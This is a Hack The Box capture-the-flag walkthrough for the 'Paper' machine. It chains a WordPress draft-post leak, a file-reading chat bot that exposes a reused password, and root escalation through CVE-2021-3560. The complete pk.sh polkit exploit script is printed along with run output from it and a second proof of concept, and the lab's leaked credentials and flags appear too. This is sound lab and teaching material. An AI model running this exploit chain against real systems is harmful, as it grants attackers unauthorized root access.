Paper
11 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.143
- Release: 05 / 02 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.143 -p 22,80,443
Nmap scan report for paper.htb (10.10.11.143)
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
| 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-title: HTTP Server Test Page powered by CentOS
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after: 2022-07-08T10:32:34
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| tls-alpn:
|_ http/1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 35.70 seconds
This machine has ports 22 (SSH), 80 (HTTP) and 443 (HTTPS) open.
Enumeration
If we go to http://10.10.11.143
, we will see a default Apache site for CentOS:
There is nothing useful here but a response header called X-Backend-Server
that shows a domain:
$ curl -I 10.10.11.143
HTTP/1.1 403 Forbidden
Date:
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8
Let’s continue enumerating subdomains:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.11.143/ -H 'Host: FUZZ.office.paper' -fc 403
chat [Status: 200, Size: 223163, Words: 13014, Lines: 508]
Now we can add these subdomains domain to /etc/hosts
. If we go to http://chat.office.paper
, we will see a Rocket.Chat application, but we need a registration URL in order to create a new account:
WordPress enumeration
If we go to http://office.paper
, we will see a WordPress site:
The last post contains a comment telling us that there might be secret information inside draft posts:
We can enumerate the WordPress version in a couple of ways. For example:
$ curl -s office.paper | grep generator
<meta name="generator" content="WordPress 5.2.3" />
Now we are able to search for vulnerabilities that match with this version:
$ searchsploit WordPress 5.2.3
------------------------------------------------------------------------- ----------------------------
Exploit Title | Path
------------------------------------------------------------------------- ----------------------------
WordPress Core 5.2.3 - Cross-Site Host Modification | php/webapps/47361.pl
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service | php/dos/47800.py
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities | php/webapps/39553.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection | php/webapps/44943.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection | php/webapps/48918.sh
------------------------------------------------------------------------ ----------------------------
Shellcodes: No Results
The file only tells us to add ?static=1
in order to see draft content:
So far we know that adding `?static=1` to a WordPress URL should leak its secret content
Here are a few ways to manipulate the returned entries:
- `order` with `asc` or `desc`
- `orderby`
- `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format
In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content.
Foothold
So, let’s try it:
Alright, we have the registration link for Rocket.Chat:
Interacting with a chat bot
After registering a new account, we enter to a general chat:
There is a chat bot called recyclops
that allows us to list directories and read files from the server:
We can try some command injection payloads but they do not work. Instead, we can list some directories and find out that the chat bot is built with hubot
:
Notice that we need to use ..
in order to list the parent directory.
If we search for documentation for Rocket.Chat and hubot
, we will get to this: developer.rocket.chat. As it is explained, the bot needs a .env
file with some environment variables, one of them being the password for the bot user. Now we can read this file:
And we get a potential password: Queenofblad3s!23
.
Password reuse
Now we can try to reuse the password for SSH for users hubot
and dwight
. The password is reused for dwight
:
$ ssh hubot@office.paper
hubot@office.paper's password:
Permission denied, please try again.
$ ssh dwight@office.paper
dwight@office.paper's password:
[dwight@paper ~]$ cat user.txt
1c16f7c5b0aa6e8aaa242fe98cfbc2cc
At this point, we have read the user.txt
flag.
Privilege escalation
There is a script called pk.sh
at the home directory:
[dwight@paper ~]$ ls -la
total 36
drwx------ 11 dwight dwight 294 Feb 5 17:49 .
drwxr-xr-x. 3 root root 20 Jan 14 06:50 ..
lrwxrwxrwx 1 dwight dwight 9 Jul 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 dwight dwight 18 May 10 2019 .bash_logout
-rw-r--r-- 1 dwight dwight 141 May 10 2019 .bash_profile
-rw-r--r-- 1 dwight dwight 358 Jul 3 2021 .bashrc
drwx------ 5 dwight dwight 56 Jul 3 2021 .config
-rw------- 1 dwight dwight 16 Jul 3 2021 .esd_auth
drwx------ 2 dwight dwight 44 Jul 3 2021 .gnupg
-rw-rw-r-- 1 dwight dwight 18 Sep 16 07:24 .hubot_history
drwx------ 3 dwight dwight 19 Jul 3 2021 .local
drwxr-xr-x 4 dwight dwight 39 Jul 3 2021 .mozilla
drwxrwxr-x 5 dwight dwight 83 Jul 3 2021 .npm
drwx------ 2 dwight dwight 6 Sep 16 08:56 .ssh
drwxr-xr-x 2 dwight dwight 24 Sep 16 07:09 .vim
-rwxr-xr-x 1 dwight dwight 1174 Sep 16 06:58 bot_restart.sh
drwx------ 8 dwight dwight 4096 Sep 16 07:57 hubot
-rwxrwxr-x 1 dwight dwight 2812 Jan 14 06:48 pk.sh
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 sales
-r-------- 1 dwight dwight 33 Feb 5 17:49 user.txt
#!/bin/bash
# Set the name and display name
userName="hacked"
realName="hacked"
# Set the account as an administrator
accountType=1
# Set the password hash for 'password' and password hint
password='$5$WR3c6uwMGQZ/JEZw$OlBVzagNJswkWrKRSuoh/VCrZv183QpZL7sAeskcoTB'
passHint="password"
# Check Polkit version
polkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9)
if [[ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 || "$(yum list installed | grep polkit | grep -c 0.117-2)" ]]; then
echo "[*] Vulnerable version of polkit found"
else
echo "[!] WARNING: Version of polkit might not vulnerable"
fi
# Validate user is running in SSH instead of desktop terminal
if [[ -z $SSH_CLIENT || -z $SSH_TTY ]]; then
echo "[!] WARNING: SSH into localhost first before running this script in order to avoid authentication prompts"
exit
fi
# Test the dbus-send timing to load into exploit
echo "[*] Determining dbus-send timing"
realTime=$(
TIMEFORMAT="%R"
{ time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName
string:$realName int32:$accountType; } 2>&1 | cut -d " " -f6
)
halfTime=$(echo "scale=3;$realTime/2" | bc)
# Check for user first in case previous run of script failed on password set
if id "$userName" &>/dev/null; then
userid=$(id -u $userName)
echo "[*] New user $userName already exists with uid of $userid"
else
userid=""
echo "[*] Attempting to create account"
while [[ $userid == "" ]]; do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName
int32:$accountType 2>/dev/null &
sleep $halfTime
kill $! 2>/dev/null
if id "$userName" &>/dev/null; then
userid=$(id -u $userName)
echo "[*] New user $userName created with uid of $userid"
fi
done
fi
# Add the password to /etc/shadow
# Sleep added to ensure there is enough of a delay between timestamp checks
echo "[*] Adding password to /etc/shadow and enabling user"
sleep 1
currentTimestamp=$(stat -c %Z /etc/shadow)
fileChanged="n"
while [ $fileChanged == "n" ]; do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password
string:$passHint 2>/dev/null &
sleep $halfTime
kill $! 2>/dev/null
if [ $(stat -c %Z /etc/shadow) -ne $currentTimestamp ]; then
fileChanged="y"
echo "[*] Exploit complete!"
fi
done
echo ""
echo "[*] Run 'su - $userName', followed by 'sudo su' to gain root access"
This is a script that exploits a pkexec
vulnerability in PolKit, CVE-2021-3560.
If we run this exploit, a new user called hacked
will be created (password: password
) with sudo
permissions to become root
:
[dwight@paper ~]$ ./pk.sh
Failed to set locale, defaulting to C.UTF-8
Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
Modular dependency problems:
Problem 1: conflicting requests
- nothing provides module(perl:5.26) needed by module perl-IO-Socket-SSL:2.066:8030020201222215140:1e4bbb35.x86_64
Problem 2: conflicting requests
- nothing provides module(perl:5.26) needed by module perl-libwww-perl:6.34:8030020201223164340:b967a9a2.x86_64
[*] Vulnerable version of polkit found
[*] Determining dbus-send timing
[*] Attempting to create account
./pk.sh: line 48: 68220 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
./pk.sh: line 48: 68226 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
./pk.sh: line 48: 68234 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
./pk.sh: line 48: 68241 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
./pk.sh: line 48: 68248 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
./pk.sh: line 48: 68255 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
./pk.sh: line 48: 68262 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
./pk.sh: line 48: 68269 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
./pk.sh: line 48: 68277 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
./pk.sh: line 48: 68281 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
[*] New user hacked created with uid of 1005
[*] Adding password to /etc/shadow and enabling user
./pk.sh: line 63: 68293 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint 2> /dev/null
[*] Exploit complete!
[*] Run 'su - hacked', followed by 'sudo su' to gain root access
[dwight@paper ~]$ su hacked
Password:
[hacked@paper dwight]$ sudo su
[sudo] password for hacked:
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[root@paper dwight]# cat /root/root.txt
6ca0add99568e6f2866e5a006c815866
Although the presence of this exploit inside the machine was unintended, the machine is still vulnerable to PwnKit after the patch. We can use poc.sh to exploit it as well (indeed, the linked repository is owned by secnigma, the machine creator):
[dwight@paper ~]$ ./poc.sh -u=rocky -p=rocky
[!] Username set as : rocky
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username rocky...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username rocky with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using sudo - rocky
[!] When prompted for password, enter your password
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!
[dwight@paper ~]$ su rocky
Password:
su: Authentication failure
It may fail some times, but the user is created:
[dwight@paper ~]$ cat /etc/passwd | grep rocky
rocky:x:1005:1005:rocky:/home/rocky:/bin/bash
So we need to run it multiple times until we can access correctly:
[dwight@paper ~]$ ./poc.sh -u=rocky -p=rocky
[!] Username set as : rocky
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username rocky...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username rocky with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using sudo - rocky
[!] When prompted for password, enter your password
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!
[dwight@paper ~]$ su rocky
Password:
[rocky@paper dwight]$
Now we have sudo
permissions, so we can escalate to root
:
[rocky@paper dwight]$ sudo bash
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for rocky:
[root@paper dwight]# cat /root/root.txt
6ca0add99568e6f2866e5a006c815866